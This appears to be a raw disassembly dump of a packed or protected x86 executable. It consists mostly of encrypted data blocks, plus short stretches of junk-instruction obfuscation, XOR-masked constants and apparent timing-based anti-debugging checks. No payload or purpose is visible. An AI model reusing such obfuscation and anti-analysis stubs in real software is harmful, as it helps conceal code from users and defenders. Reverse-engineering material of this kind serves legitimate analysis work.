730F31B7h, 0D83EB196h, 14024A72h, 2DE7AD85h, 9347EEDFh dd 0A5657BDEh, 0C52B0ADh, 0CA9EFB56h, 93A31C1Ah, 6E226740h dd 43A98074h, 3A9ACCE7h, 9865255Fh, 233ED4BAh, 9AF292C6h dd 3F396F47h, 451F45A2h, 0E4B02DF7h, 0B39186EBh, 4FA8A5EDh dd 81EF4919h, 7B5B33B9h, 75BDE3C0h, 1992F06Dh, 0FFA1803Bh dd 13054D79h, 0DF712B53h, 0E34FDA5Ch, 0FAAA9A23h, 12617Ch dd 799B0000h, 843A05DFh, 0C4050DCBh, 510761FCh, 5FFAFE7h dd 1B1D4BA2h, 4F258BEh, 6DEBB995h, 55C395ECh, 0BBBDEBC4h dd 0A197FDDEh, 8B8DD330h, 0FE782E0Eh, 0D95F0163h, 0E1895132h dd 3BB3BD55h, 0F58125B2h, 25B23BB7h, 835DE901h, 0C8704E9h db 24h, 5Ch ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebp push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], edi push edx push 18C62D60h pop edx push ebx mov ebx, 6E01484Ah and edx, ebx pop ebx xor edx, 0E0C5C12h mov ebp, edx pop edx push 6B77h mov [esp], esp add dword ptr [esp], 4 pop edi sub esp, 4 mov [esp], ebp xor dword ptr [esp], 95F755Eh pop dword ptr [edi+8] xor dword ptr [edi+8], 95F755Eh mov edi, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp mov ebp, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_54311E ; --------------------------------------------------------------------------- db 0D1h dd 0B838ABA0h, 60C5958h, 0E0FFC503h, 5C0612DAh, 5EB3E661h dd 3FC9D569h, 6249B561h, 61CAE25Eh, 15225ECDh, 4BB4FCFh dd 2FDB1F59h, 1D206DC9h, 1773E216h, 53B752E9h, 45E3E6Ah dd 17729FA8h, 21E91E2Fh, 6BB32E48h, 52150617h, 0FE8h, 565C0100h dd 0B638D0Dh, 8929A1F3h, 7F1B1DEEh, 8B6658F9h, 15C081F9h dd 66000066h, 7C9FCB81h, 0F1B7F62Bh, 81300C8Bh, 8506A3C1h dd 9E96014h, 8A000000h, 2EAA1799h, 72AEFD32h, 29F18161h dd 0F57C896Bh, 1F0BE981h, 0C6805281h, 48F5187h, 0DE930h dd 5A3E0000h, 30B5485Dh, 44808933h, 0F2B8B5Ch, 385h, 0D2B70F00h dd 0F04EE83h, 283h, 81D58A00h, 0FF9AB8FEh, 39850FFFh, 0F000000h dd 1E8Eh, 12E800h, 672F0000h, 6D12AA13h, 0A46D0876h, 0DEE5EC96h dd 3D8926BFh, 7C0EDA81h, 0E95F6D7Ch, 26h, 0FEDCB700h, 0D100455Ch dd 79A60EBh, 0DC3AA07Ah, 0C0959DBBh, 0FF5EE977h, 0D660FFFFh dd 0E73268F8h, 0D41592ADh, 0FCE9F20Bh, 0F000000h, 181h dd 0B58DF800h, 60C5B8Fh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 16h, 10C35242h, 858D75A8h, 60A4DDCh, 6AD0FFFCh dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 17042444h dd 41000000h, 4441C351h, 0FF876CFh, 180h, 0F5C3FC00h, 60D98C66h dd 6636F080h, 610D3BBAh, 0F04C1F6h, 5484h, 53006A00h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h dd 8BFB8BAEh, 0AEC032CBh, 0CF2BFD75h, 0F92BD9F7h, 8B49D78Bh dd 0CD00EBD9h, 1013F20h, 74C00B00h, 0C708D18h, 0CB8BFA8Bh dd 490A75A6h, 1B8FA75h, 0EB000000h, 0EB008B09h, 0B8E4h dd 6ACF0000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 17042444h, 42000000h, 0BB7EC352h, 8F0FE1C0h, 0Ah, 0C7816660h dd 8B66F150h, 0C7F561C1h, 0C5BD885h, 1013F06h, 60EB00h dd 17h dup(0) dd 0E9000000h, 0BAAh, 0B9EE9h, 64636800h, 0CBE9060Ch, 68FFFB20h dd 60C65A4h, 0FB20C1E9h, 662E68FFh, 0B7E9060Ch, 60FFFB20h dd 0DE335B0Dh, 914C94FAh, 4499E1B7h, 3CD1396Fh, 0CC6D7523h dd 60341192h, 0BAEEC518h, 0F5A3BF52h, 4C1270EDh, 6EC96B24h dd 30197C8h, 0A2A21888h, 0F57B1147h, 0EFCBF255h, 0C50DB7B9h dd 0FBA48242h, 7C9B0366h, 406B7581h, 313F5C22h, 0D71F9B44h dd 0AC8A47AFh, 5A82D633h, 33617DDCh, 2B7D54C5h, 553AC2Dh dd 0FFA58613h, 0D5BB9879h, 0C096F663h, 0A7E9CB56h, 0A4F117B1h dd 36300EEh, 1879611Ah, 50DE2E95h, 0D9895BBAh, 15483003h dd 6CD20F31h, 34A854D5h, 0B22FDDF3h, 7E3C3E20h, 0CBFB6727h dd 0A3D83811h, 8ED61E42h, 99336064h, 7F1A780h, 7AC59F4Fh dd 30190F8h, 23BEB888h, 396F48C3h, 76D1B337h, 3A625DEDh dd 0F2DC9A60h, 282E7452h, 0EA1DF27Ch, 906A6222h, 641E44A2h dd 17E5BFB9h, 7FF236FFh, 0E04C482h, 0B5714FD9h, 0D6BF44Ah dd 448CB405h, 0DD57661Ch, 7C2A04E5h, 701ACAFAh, 0B2DA5F23h dd 588Ah, 7E954E00h, 1AE54F25h, 50DCBA4h, 6C06DCE4h, 0CBD569CAh dd 0AD95050Dh, 0DCB08AEh, 0F6784805h, 0ADAF48E6h, 6812B291h dd 19AB17E5h, 0EA8AFB7Eh, 0D2CB509h, 85CDF505h, 0A2453FC5h dd 0A07A1046h, 0CB892D0Eh, 0F9C9050Dh, 0DCBC47Ah, 0ECBC8405h dd 5E48CC76h, 4Fh, 257E95DAh, 0CC17E54Fh, 0D4024534h, 4DE7BD6Dh dd 0D08129FFh, 8E70FFEFh, 54477DBEh, 0C82BFB00h, 50D4F76h dd 0E5BD377Fh, 0F043E563h, 50DCB4Eh, 9B66260Eh, 0F1ED11B9h dd 0C3083EB0h, 38C8F561h, 5DF070Ch, 0D22843Ah, 0B4FCC405h dd 9548CC3Eh, 0C296F37Fh, 243D1054h, 0A1924870h, 0F34E96Ch dd 39B2A48Ch, 30AEA81h, 70856BC9h, 5FE11514h, 4EA6A262h dd 0E1E78CCBh, 0BDE856B5h, 0F88D509Ch, 942936D6h, 2F000001h dd 6E247195h, 0DCB118Dh, 0E7516105h, 2E361C7Ah, 1E44A254h dd 829FB964h, 0B52FFFA5h, 4F257E95h, 4E5DD57h, 81E67B2Dh dd 79295DDBh, 0DA5FC493h, 426BB2h, 95E90000h, 0E54F257Eh dd 0DCBA41Ah, 26DCE405h, 0AB2804E5h, 31D1194Fh, 46A2F16Bh dd 7FA7EDC5h, 0D668CC85h, 0DCBD165h, 0BFA19105h, 2AB86CC1h dd 83792932h, 7A2C04E5h, 7855C8FCh, 401D7C2Ch, 0A7000000h dd 4F257E95h, 7A2C04E5h, 0E37E10AAh, 3407DD83h, 50DCB82h dd 0D152F2C2h, 50DCB6Dh, 0E5B44E64h, 8246A263h, 0DCB0DB1h dd 36886B05h, 76050DCBh, 5A82B24Eh, 2804E5A0h, 0DD83E37Eh dd 0E5DA5E0Dh, 0CB4EF043h, 0B40E050Dh, 0DCBF34Bh, 5B83B305h dd 104D818Bh, 0CB71F97Ah, 2111050Dh, 64CAA37h, 44A204FEh dd 9FB9641Eh, 54F4A282h, 257E95AEh, 0E5DD574Fh, 0DF834A17h dd 27E7AE78h, 0DB28F6ADh, 3D5DB2h, 0B5BB0000h, 0B84930C4h dd 11CB9BF2h, 4F257E95h, 0CBA41AE5h, 7CC2050Dh, 0FD35A84Ch dd 0EA9636F9h, 63E520DAh, 4EF043E5h, 0E050DCBh, 0B99B6626h dd 48CC1DD7h, 7D2B04E5h, 53ACADh, 95D40000h, 816F257Eh dd 0C1E1373Ch, 78E2A21Bh, 0CBA41AE5h, 97AD050Dh, 0DCB12A4h dd 0EF625205h, 1252C494h, 4E510EAh, 14AE7E28h, 0CF8D8C72h dd 75DBEE10h, 38E8BE98h, 8246A242h, 0DCB0DB1h, 3D654D05h dd 28AB9967h, 9DD1B262h, 7AFCA280h, 0CCE09A4Ah, 0A85E48h dd 95DA0000h, 8D6E2471h, 50DCB11h, 7AE75161h, 542E361Ch dd 441E44A2h, 6EFC9BF6h, 22E2555Dh, 95BFB9B8h, 574F257Eh dd 5F7ED5DDh, 4725B2DAh, 3000000h, 290ACE2Eh, 0F80DCB95h dd 0B3A5EDD5h, 0E5A953F3h, 0AB7B2D04h, 96F76261h, 88491B9Bh dd 0E534CEF6h, 0C68CEE43h, 0F7741450h, 50DCB4Fh, 0E54D270Fh dd 1046A263h, 0F864F47Ah, 443DFB2Dh, 48CCDE84h, 315Eh dd 7E95DA00h, 1AE54F25h, 50DCBA4h, 77CF28C2h, 37050DCBh dd 0DCEA5F0Fh, 0E563E526h, 36CFD43h, 437E0011h, 0D376ED0h dd 46062E05h, 3DB799FBh, 4E548CCh, 0D553B828h, 9BE5D8DAh dd 0ACA1E553h, 0FF420254h, 0DA47B1E7h, 8F42AAF8h, 0C52BE1B7h dd 0FF9605EFh, 0A519F2DFh, 0C4A27BD0h, 0F16ACC9Ch, 50D954Fh dd 0AE313F99h, 5E0864B3h, 0A6A2ACD8h, 5F795FEEh, 8CEFD320h dd 6C408444h, 86EEB492h, 33256B4Bh, 0AC8EC26Dh, 81E170E6h dd 2C065DDBh, 4B4FE3C8h, 0E3A98961h, 4213719Bh, 9A66AF88h dd 6B860F34h, 24125A0Eh, 0A9917ABh, 717B5F03h, 0E1BDA9EEh dd 2A70B5h, 0A2F40000h, 0FE181E44h, 0B2520663h, 0DCB0DB1h dd 82D42C05h, 792F0594h, 238991FFh, 81501858h, 689014AFh dd 20BA3206h, 0FE749CC2h, 181E44A2h, 0AE89588Eh, 50DCB08h dd 9A307848h, 31AF9799h, 0CB05F30Fh, 0E3BFA263h, 0CE147CA4h dd 3601DB98h, 938A1F1h, 0ED372111h, 0A256E84Bh, 0C7300506h dd 506A27Fh, 4B7BF73Fh, 0A222989Bh, 26030506h, 3D158472h dd 0A8A5E157h, 0D113054Bh, 86402B81h, 0E8E37BA7h, 785C2850h dd 7AA6ED74h, 4A6DAFE5h, 0EB000000h, 6E247195h, 60235180h dd 0DC22F97h, 0D9476F05h, 9FEBFE22h, 0F369726Bh, 54EEBEE6h dd 13455FB2h, 197EF073h, 161E050Dh, 47839D7Ch, 0D1942F4h dd 0A320205h, 0EC74EA50h, 4F362409h, 2366779Fh, 0B2000000h dd 7616425Fh, 2A04E58Ch, 1E8B9BBAh, 0C9F1544Eh, 8EDB3319h dd 0F8E76BD4h, 0BF87050Dh, 7E2804E5h, 655E9C16h, 0DA000001h dd 6B217295h, 7EE0B696h, 2A73A88Ah, 0F36939E2h, 44A2BFB9h dd 0DD57641Eh, 0DA5F7ED5h, 3525B2h, 95230000h, 0CC9AF472h dd 43E5EE84h, 2D88EEEh, 0DCB8D31h, 25E5CD05h, 0DCB70C6h dd 6A003005h, 42A263E5h, 0CBF07E14h, 0B3D95229h, 0CCCCB656h dd 465E48h, 0E5DA0000h, 2C9BFD43h, 7D2DD202h, 0DE138FEh dd 98487805h, 700A59B2h, 8CEE43E5h, 2A1450C6h, 9A8AEB27h dd 6E5A509h, 50D04B0h, 0E57309B9h, 1442A263h, 9168CC5Eh dd 76DA39B0h, 0D65AC84Eh, 9C335FFCh, 0B228F820h, 641E44A2h dd 82CE17E5h, 0BC4E8743h, 1A1C40A1h, 0BABCBA6Ah, 4F257E95h dd 7ED5DD57h, 25B2DA5Fh, 44h, 0B77E9523h, 0DCBF244h, 0A0F0D305h dd 0A002FEB6h, 0DCBEF57h, 5F87AF05h, 43E55D17h, 3C389EEh dd 0DCB9E20h, 1CD6DE05h, 7D2B04E5h, 411BCBFBh, 217752AFh dd 35AF7F37h, 5A1046A2h, 355E48CCh, 0DA000000h, 0ECE37E95h dd 85BF9579h, 61D99E80h, 0A7928840h, 1AE5857Fh, 50DCBA4h dd 0E56F05ADh, 1046A263h, 0D668CC5Ah, 0DCBD165h, 7C6E305h dd 0C3858CBBh, 9D47072Fh, 781240A2h, 66D084E1h, 0E19518E8h dd 34B8318h, 0DE33E543h, 74F797FDh, 50D29C7h, 29C12B2Fh dd 237152CDh, 9E98CE2Eh, 0EC46AED6h, 7D2B04E5h, 61BCBFBh dd 56A47E24h, 0CF9B9C12h, 62C48411h, 3EF14AB0h, 8D96788h dd 7DE9C558h, 0F546F16Bh, 50DBB41h, 0C5CF3101h, 0E4529A35h dd 0FD8D6773h, 0A8ABB3E1h, 50D13A4h, 11A115E6h, 0A680050Dh dd 0C347CF0h, 0DB412266h, 0FE4AE7AFh, 0BC6DFFFFh, 50DCBFEh dd 0DCBF9C1h, 0CB73C605h, 0F248050Dh, 0CD050DCBh, 50DCB6Dh dd 0DCBE852h, 0CBE8FE45h, 0D56B2611h, 979FCF33h, 94C107A1h dd 3E8C7DFEh, 0C4ECC93Dh, 101C0D4Dh, 0F4898F49h, 315h dd 52BAEEC1h, 0EBF3A5BFh, 38401676h, 7098CC25h, 8CD4809Dh dd 91F2F16Dh, 43A6BBC3h, 3E18F51Dh, 0F5CD0068h, 2CC847AFh dd 1AF6BD3h, 0C1BB2B03h, 181E44A2h dd 0AE89588Eh, 50DCB08h, 9A307848h, 31AF9399h, 0BFC7EF0Fh dd 197FEBCh, 6CFAE803h, 92D24412h, 3547B06Ah, 81093DF3h dd 0B151BB1h, 2FBB8245h, 0CF22F8A8h, 8459A1F7h, 0A47EF8AEh dd 0F44A2E56h, 184CCA9Ch, 6AE8E516h, 0A439B9BAh, 0C91F050Dh dd 3F1BF6ACh, 49E3B969h, 455CDCE3h, 0A07D52Ch, 0B6FE782Eh dd 760F1516h, 43730F31h, 0E50B089h, 44C39A08h, 3ECF31B6h dd 0AD8C56F6h, 6AE70F55h, 76D0460Ch, 0F7894310h, 0CA0D6309h dd 0C82BB296h, 301A576h, 6C60E36h, 3DC12325h, 49AA4709h dd 0C365D31Bh, 393AD085h, 0F319D43h, 3C1DB7FFh, 0F5687026h dd 7B1DB79Dh, 1A546F8h, 8EEB0603h, 0E0285CDAh, 0F545C620h dd 0E303019Fh, 494176E5h, 97E12EC8h, 12312A4h, 3A625203h dd 0D1DF58F2h, 0AD093D47h, 4F61CF85h, 92A136A8h, 0DE78FEAEh dd 383E6243h, 1076DC8Ch, 0E5AE8943h, 150F34E6h, 0BF70342Dh dd 282E0317h, 1D455h, 792F0600h, 0B2E4FC11h, 0F59B7AAh dd 470D6AE7h, 93C1223Fh, 33B0AA4Bh, 0E77A82D6h, 59B4DC8Ch dd 12CF177Dh, 89066E34h, 0AEAA0CEFh, 7AEA0301h, 0F043E580h dd 50DCB4Eh, 0CB77CF28h, 0F37050Dh, 0AE894373h, 50DCB08h dd 62A87848h, 84653F64h, 912BFBADh, 31AFA6A6h, 30EADA0Fh dd 97199D9Eh, 69590301h, 0FF15BFB9h, 0BE13ECA6h, 1E0938B1h dd 0CD079D0h, 0A10B1476h, 81B0BE58h, 839AC203h, 91370E7h dd 4AB6D74Dh, 8C000001h, 4A87EFB9h, 3DD0386Eh, 0F06D7523h dd 0A8A5CD93h, 20F1194Fh, 0F4A0BD26h, 4E1271ECh, 99CF2B26h dd 0D0869C71h, 827D1788h, 301AD3Ch, 951E947Ch, 936C267Fh dd 0F31AF85h, 2D13C9F9h, 4FF3116h, 8D6B3B6Dh, 0CB91F64Bh dd 0E7902611h, 0E0D00301h, 9FC5DD20h, 0D6BC9A77h, 7E5BB660h dd 0A8782C2Ah, 52AD6462h, 301E7ECh, 0AF8984ACh, 0F377FF9h dd 0CD9BF455h, 0B14B1B4Bh, 7220021Fh, 2300C084h, 93D8351h dd 1FB5DDE5h, 0BB44FA45h, 3C04050Dh, 0EDB3916Ch, 3A6C4885h dd 0E5AB8960h, 0FBDE3373h, 23E3A395h, 8BD1362Bh, 0C78DEE63h dd 1341A2BFh, 9EF851CBh, 46064EC8h, 630E98FBh, 0A1F4365Fh dd 1A1C4AAAh, 20FA226Ah, 5E6CDBDAh, 17B7978Ch, 0C00062FFh dd 0FF69CD2Eh, 1929050Dh, 0DFFA41Ah, 0CD71C205h, 8D050DFFh dd 0B1F9C9A5h, 3A1EF3A9h, 6BBCA292h, 24ACF25h, 0ADB05014h dd 0A8FEDA55h, 0C578E6AEh, 7CCD484Dh, 3BD63E66h, 0AA6088D8h dd 0EFFC3A44h, 0A46447DFh, 4EA9786Eh, 50D2EE8h, 319A5EA8h dd 5BCFE403h, 0C631EB13h, 0F31A3BAh, 0ADF3D128h, 0C73101FDh dd 0CE167C5Ah, 0CC98F554h, 3FD1Ch, 79070000h, 1D4BA2FFh dd 0F258BE1Bh, 0EBB99504h, 0C395EC6Dh, 0BDEBC455h, 97FDDEBBh dd 8DD330A1h, 782E0E8Bh, 5F0163FEh, 895332D9h, 0A6B850E3h dd 405FBA07h, 0C105E8C1h, 54006E8h, 50F847DAh, 43F1F35h dd 58C30151h, 8704EB83h, 575C241Ch, 0C781E789h, 4, 8704EF83h dd 895C243Ch, 89512434h, 4C181E1h, 81000000h, 4E9h, 240C8700h dd 242C895Ch, 5CC2B951h, 0CE89060Ch, 81240C8Bh, 4C4h, 20646800h dd 24890000h, 24048324h, 99685D04h, 8900007Fh, 458F2434h dd 2434FF08h, 4C4815Dh, 8B000000h, 89572434h, 4C781E7h dd 81000000h, 4C7h, 243C8700h, 1540E95Ch, 6C33FFFBh, 60E45EA6h dd 0B8F657DDh, 60C679Dh, 0C38BC503h, 69468D8Dh, 9E8060Ch dd 38000000h, 6493F3BDh, 0DC32C795h, 0EE9h, 0BE276300h dd 212EAB9Eh, 6417038Ch, 5A20AF19h, 1B418D89h, 6A0607h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h dd 929170C3h, 858B1211h, 6072725h, 60585C7h, 5B580607h dd 0F38A0000h, 6985C7h, 607h, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 150424h, 56460000h, 0E889C1C3h dd 0Ch, 0BC5773CFh, 0E369634Bh, 0EFFE41F5h, 0C618523h dd 665B0607h, 11E9DF8Bh, 44000000h, 5CC4DE68h, 7185A0Bh dd 4D8B8EC8h, 6DD12A89h, 3041B5FFh, 6A0607h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 2550D2C3h dd 0D6C8BFA0h, 8BE328D0h, 732D9B5h, 0E195FF06h, 66060701h dd 0C80ADF81h, 95FF006Ah, 6073201h, 5AEBC08Bh, 70458C03h dd 0CAC5A4CAh, 6C75E7h, 78EFD23Eh, 1FB27A69h, 5923E2E8h dd 0FD1F6DC5h, 0F7543B39h, 83A079E9h, 0B5D14238h, 9C65F51Fh dd 0D733D67Dh, 0A11AAB0Ah, 0F3651212h, 618B3DBh, 80D4ACB0h dd 0C88E6D9h, 2D39E78Eh, 352D7A32h, 27AC71B1h, 0EB8FFEE1h dd 65509256h, 125C6AC9h, 4B45EA1Dh, 0AF47A671h, 7033F284h dd 344B0690h, 717C7AECh, 8495FC3Dh, 8451817Eh, 258F3300h dd 793F444Bh, 896E203Fh, 32F12AA8h, 2BFE3C3Ch, 8EBD333Dh dd 7042686h, 346C38D4h, 34BDDB3Dh, 79E5333Dh, 0F73BBE43h dd 0FF814E12h, 9ABCB25Bh, 893E6A45h, 32D91A70h, 6EB3C3Dh dd 5EB7333Dh, 3733633Dh, 14ED333Dh, 0BDAEF065h, 0B57F1779h dd 2FB91779h, 74DE333Dh, 2804F06Dh, 8B0668A5h, 0B7D4512Eh dd 34ED333Ch, 364CDAC1h, 0FEFB333Dh, 0F138BE58h, 3BD83F54h dd 346F30B5h, 0C7083C3Dh, 6413B8ADh, 0A413B85Bh, 0DCA63357h dd 347B333Eh, 6C7E6B1Dh, 30FA77B4h, 304B77BCh, 34B73321h dd 0F318637Dh, 0E672F65Eh, 0A585027Bh, 0FA625583h, 9338BE39h dd 0BFD83F54h, 523FA3CFh, 0A4655382h, 34DB20D4h, 0F7FDA23Dh dd 20F5283Ch, 0C1B6A39h, 0BEC05B04h, 0C88494D5h, 15C2A6C2h dd 385E353Ah, 94DB333Dh, 807E707Ch, 0E0219E97h, 0BFEB1F70h dd 8F0755FDh, 3563B0DCh, 3469340Ch, 89343A48h, 32DC3968h dd 64F4473Dh, 8C36B86Eh, 347B3747h, 1F10B6B4h, 0A953353Ah dd 326680CFh, 6CECE0C2h, 3E8E8EBEh, 40ED353Ah, 8CA5632Ah dd 347B3747h, 1F10B6B4h, 0A953353Ah, 326683DCh, 6CECE0C2h dd 0DC893357h, 34ED333Eh, 6E35691Dh, 305F67B4h, 309977BCh dd 34DE3326h, 0FEAC617Fh, 7BFFC490h, 52120841h, 3F68EDBCh dd 0DCA63357h, 347B333Eh, 6C7E6B1Dh, 30FA77B4h, 304B77BCh dd 34B73328h, 0FD18637Dh, 3B2DB8C1h, 0A97BFB82h, 32775A92h dd 34BD3CD4h, 0DE0EBB3Dh, 0B0CCE235h, 0C1282D55h, 40E87ED8h dd 6FD4B6B0h, 8D903531h, 0E4844015h, 43C1BCh, 0F4D541DEh dd 3457B732h, 265E333Dh, 28DB333Dh, 0FFD2C447h, 0C6F50AC8h dd 0A3772C0Bh, 9F0319A9h, 8043BEB3h, 3B693470h, 34B731B5h dd 8C0BB83Dh, 34ED333Eh, 0B0598A5Bh, 0B52CD0C2h, 3DA9DBFCh dd 0A9536946h, 32635A8Ah, 3B5FC8B6h, 0A6DB333Dh, 81A26451h dd 1F018510h, 4A71C31Eh, 0B9E41991h, 38850AB8h, 22E73C3Bh dd 0DCB7333Dh, 34DB332Dh, 63C862E9h, 0DEDFA3F3h, 0FC5D7F9Ah dd 4E43E15Ah, 850ECC67h, 3BAF3860h, 34B770B9h, 8046BE3Dh dd 5EEB3470h, 371E643Dh, 147B333Dh, 0BDE2F062h, 0B5DA1741h dd 2D6B1779h, 73B7333Dh, 856EF06Ah, 0EB99ADCCh, 641F9784h dd 63ABB84Ah, 8CE4FCB6h, 34DE333Ch, 4B930D82h, 5254CC37h dd 4028F4BCh, 5D51AEB0h, 0B17B3531h, 32776804h, 27323C6Eh dd 0DDDE333Dh, 346F3333h, 8A24DEFBh, 9101926Fh, 3A7928E9h dd 0CBA96A94h, 677B59EDh, 34BD30D5h, 0F785133Dh, 1033BA66h dd 10F3B239h, 34DB2839h, 0F7BE703Dh, 40D5BC1Bh, 139D7D3Fh dd 0B0B2F336h, 34DE336Dh, 3448BF32h, 385F333Dh, 6BDB333Dh dd 0AD206B42h, 0F932E6EDh, 0DD550FF0h, 34BD332Dh, 77418F56h dd 0DFD6C96Ch, 53FDD075h, 248C64F9h, 8070BE64h, 8CF03470h dd 347B333Eh, 34BD3CD4h, 13DA193Dh, 0FD9337F4h, 7CE29AEh dd 8C4256DDh, 0FE66D0C2h, 6C29B27Eh, 0B959DECDh, 38D49680h dd 2653BE3Bh, 8C693F50h, 0BEFC6F40h, 2C52B60Eh, 0FBC6353Ah dd 0A953DAFCh, 32635A8Ah, 3B5FC8B6h, 0A6DB333Dh, 81A26451h dd 1F018510h, 8371C31Eh, 0A4F305E9h, 0BF0FC08Bh, 8BD78AFBh dd 53006AC3h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h dd 0C3534300h, 60EBB2EEh, 830FF960h, 0 aAAlJ db 'a"aj',0 dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h dd 65FC8C3h, 15D25C5Dh, 8A0F1094h, 0 dd 3101BD83h, 75000607h, 55BD8309h, 6070Ah, 53501974h dd 7AB8C08Bh, 89000004h, 7217D85h, 599D8D06h, 0FF0609B4h dd 83585BD3h, 70A55BDh, 17740006h, 7AB85350h, 89000004h dd 7217D85h, 0FA9D8D06h, 0FF0609B0h, 6A585BD3h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h dd 2F47C350h, 6759A511h, 0BEE5202Dh, 3DA84780h, 0CE96053h dd 0DF000000h, 0A2A8277Dh, 5EBB1C7Ch, 668A1867h, 4AFDC981h dd 6A5E61h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h dd 55450000h, 6049BAC3h, 81BAA708h, 918D0AE6h, 0C08BF848h dd 6F078D8Dh, 6A060Ch, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 150424h, 51410000h, 0B7A159C3h, 0B19D898Ch, 8906070Bh dd 71B418Dh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1404h, 0C3524200h, 585C70Fh, 0D8060706h, 0F900005Ch dd 6985C7h, 607h, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 190424h, 56460000h, 46E4A4C3h, 0FF147A63h dd 71CF1B5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1C04h, 0C3554500h, 0EBD82410h, 0D3AF8279h, 0DDB52398h dd 0FF060710h, 701E195h, 0FF006A06h, 7320195h, 0EBC08B06h dd 0CE20703Dh, 0F7CC3C0Bh, 60FDE4F1h, 0A888A2BCh, 66115E5Dh dd 4D84A682h, 0CBECDCh, 757DF527h, 0F925FBEAh, 8B7871A5h dd 8A4BC507h, 55D77416h, 8A9BA460h, 2133E8C6h, 6540411Fh dd 0CE81339h, 0A000000h, 12A11AABh, 0DBF36512h, 0F50618B3h dd 0F1F6815Bh, 81024509h, 67A4C3h, 18D8900h, 0B806071Fh dd 0 dd 9FBDE981h, 148B3BE2h, 6800F03h, 23000000h, 72E958Dh dd 6BEA8106h, 0F6A05DEh, 88h, 57C28100h, 317BCBCDh, 71CB19Dh dd 0C4EA8106h, 0BE60AB1Ah, 6C512E09h, 0C9BF0F52h, 2B03048Fh dd 717D9BDh, 4D8D8906h, 8306070Ch, 0F78101E8h, 74D578AFh dd 66484848h, 81C0AFB9h, 0FF9920F8h, 1E850FFFh, 66000000h dd 8A92C781h, 32E9h, 0C418D100h, 80364DE6h, 4725C1EBh dd 0AF2B2354h, 276170E2h, 958D8B5Ch, 0E906072Eh, 0FFFFFF76h dd 4A63561Ah, 0DC3DF5E7h, 4331367Ch, 0D6BD6D83h, 0E9324C73h dd 13Ch, 4Fh dup(0) dd 1699BD83h, 0F010607h, 56184h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1D04h, 0C3574700h, 75201DC5h dd 0B6AE793Fh, 85C62BF2h, 6071C4Dh, 850F6043h, 3, 61F7BF0Fh dd 0FE729868h, 0E830F92h, 50000000h, 0F616052h, 0F525031h dd 5A585A31h, 24048158h, 59A75E5Dh, 18C0Fh, 0FFF80000h dd 712EDB5h, 7820F06h, 0F000000h, 18Ah, 858DF800h, 60A7CFEh dd 36BE6660h, 14E979h, 48CE0000h, 7AD3F14Ch, 421FCCE4h dd 0A4676AFEh, 0C7B50980h, 0FF613792h, 0FE9D0h, 21AE0000h dd 3FA1710Ch, 8E885F5h, 0E789A0BFh, 0F185890Ah, 60060703h dd 28F0Fh, 0F8B60000h, 61CCB760h, 0DC8A6061h, 4D85C661h dd 5006071Ch, 88E0Fh, 840F0000h, 2, 4E86160h, 56000000h dd 0FA8ADADh, 0A89h, 61606000h, 8E0Fh, 50610000h, 0DE9h dd 0E1186400h, 0A081C409h, 21FE3BFBh, 448BF4FCh, 52500424h dd 0C38B6660h, 0F615F53h, 50525031h, 5A310F52h, 50310F58h dd 5A310F52h, 5A585A58h, 0F008B58h, 128Bh, 50525000h, 5A310F52h dd 0F310F58h, 80h, 89585A00h, 60042444h, 800FA8B1h, 14h dd 0EE8h, 729F2500h, 0E514E2ABh, 0E4703FB6h, 5AD8C542h dd 66605861h, 5FFAEE81h, 7E9h, 967BEB00h, 0C3C0CD89h, 0EDB5FF61h dd 6A060712h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1A042444h, 46000000h, 4826C356h, 0CAA12254h, 6660603Bh dd 61EB22BEh, 6165E880h, 0D7CA8160h, 8B2BEE03h, 858D61F8h dd 60A7CFEh, 10E9h, 0C670F100h, 0D1662E96h, 0D9EB7851h dd 3E2CB32Fh, 0FD0FF66h, 1580h, 10E900h, 0AB3E0000h, 503F560Eh dd 0D4675A68h, 8A8CD25Dh, 6E91C01h, 0A2000000h, 3D2E8F7Bh dd 6D858907h, 6006071Dh, 850F50h, 5F000000h, 4892BF66h dd 12E961h, 4B580000h, 9A09FF3Fh, 7B7D4BE6h, 6BB8E070h dd 2BD1C04Bh, 0CFF7868h, 0B840F99h, 0E9000000h, 6, 0CC169214h dd 4814AB1h, 82A8B724h, 1830F57h, 0F8000000h, 12EDB5FFh dd 6A0607h, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h dd 50400000h, 767C9CC3h, 870F1259h, 7, 1820Fh, 8DF90000h dd 0A7CFE85h, 128A0F06h, 0E9000000h, 0Dh, 33F63807h, 0E3F77EF7h dd 9D34BDABh, 0F5D0FF6Ah, 13E9h, 4CAC4800h, 3351DA35h dd 3060A158h, 5D971B4h, 4DDA7953h, 31558589h, 6A0607h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h dd 0D87105C3h, 0D819E7AEh, 85C6F946h, 6071C4Dh, 5268F550h dd 0FDAF5D2h, 0E8Ch, 60525000h, 50310F61h, 5A310F52h, 81585A58h dd 0E042434h, 0FFF94D69h, 701A9B5h, 19830F06h, 0E9000000h dd 14h, 0AE1E69F4h, 9EAB6E4Dh, 